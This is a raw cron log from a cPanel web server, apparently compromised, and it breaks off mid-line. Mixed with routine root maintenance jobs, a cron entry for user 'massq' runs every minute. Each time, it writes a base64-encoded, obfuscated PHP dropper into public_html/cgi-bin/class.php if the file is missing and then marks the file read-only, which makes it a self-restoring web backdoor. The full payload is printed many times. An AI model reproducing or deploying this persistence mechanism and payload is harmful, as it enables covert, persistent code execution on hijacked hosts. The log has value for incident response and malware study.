Sep  6 09:00:01 server CROND[10289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:00:01 server CROND[10286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:00:01 server CROND[10285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:01:01 server CROND[11222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:01:01 server CROND[11223]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 09:01:01 server CROND[11220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:01:01 server CROND[11221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:01:01 server run-parts(/etc/cron.hourly)[11223]: starting 0anacron
Sep  6 09:01:01 server run-parts(/etc/cron.hourly)[11244]: finished 0anacron
Sep  6 09:02:01 server CROND[11628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:02:01 server CROND[11629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:02:01 server CROND[11630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:03:01 server CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:03:01 server CROND[12020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:03:01 server CROND[12021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:04:01 server CROND[12442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:04:01 server CROND[12444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:04:01 server CROND[12445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:05:01 server CROND[12840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:05:01 server CROND[12842]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:05:01 server CROND[12846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:05:01 server CROND[12849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:05:01 server CROND[12845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:05:01 server CROND[12847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:05:01 server CROND[12848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:05:01 server CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 09:06:01 server CROND[13690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:06:01 server CROND[13691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:06:01 server CROND[13692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:07:01 server CROND[14233]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:07:01 server CROND[14235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:07:01 server CROND[14234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:08:01 server CROND[14606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:08:01 server CROND[14607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:08:01 server CROND[14608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:09:01 server CROND[14983]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 09:09:01 server CROND[14984]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:09:01 server CROND[14987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:09:01 server CROND[14986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:10:01 server CROND[15391]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 09:10:01 server CROND[15394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 09:10:01 server CROND[15397]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 09:10:01 server CROND[15395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:10:01 server CROND[15396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:10:01 server CROND[15399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:10:01 server CROND[15401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 09:10:01 server CROND[15404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 09:11:01 server CROND[16244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:11:01 server CROND[16245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:11:01 server CROND[16246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 09:12:01 server CROND[16740]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 09:12:01 server CROND[16741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 09:12:01 server CROND[16743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 09:12:01 server CROND[16742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQ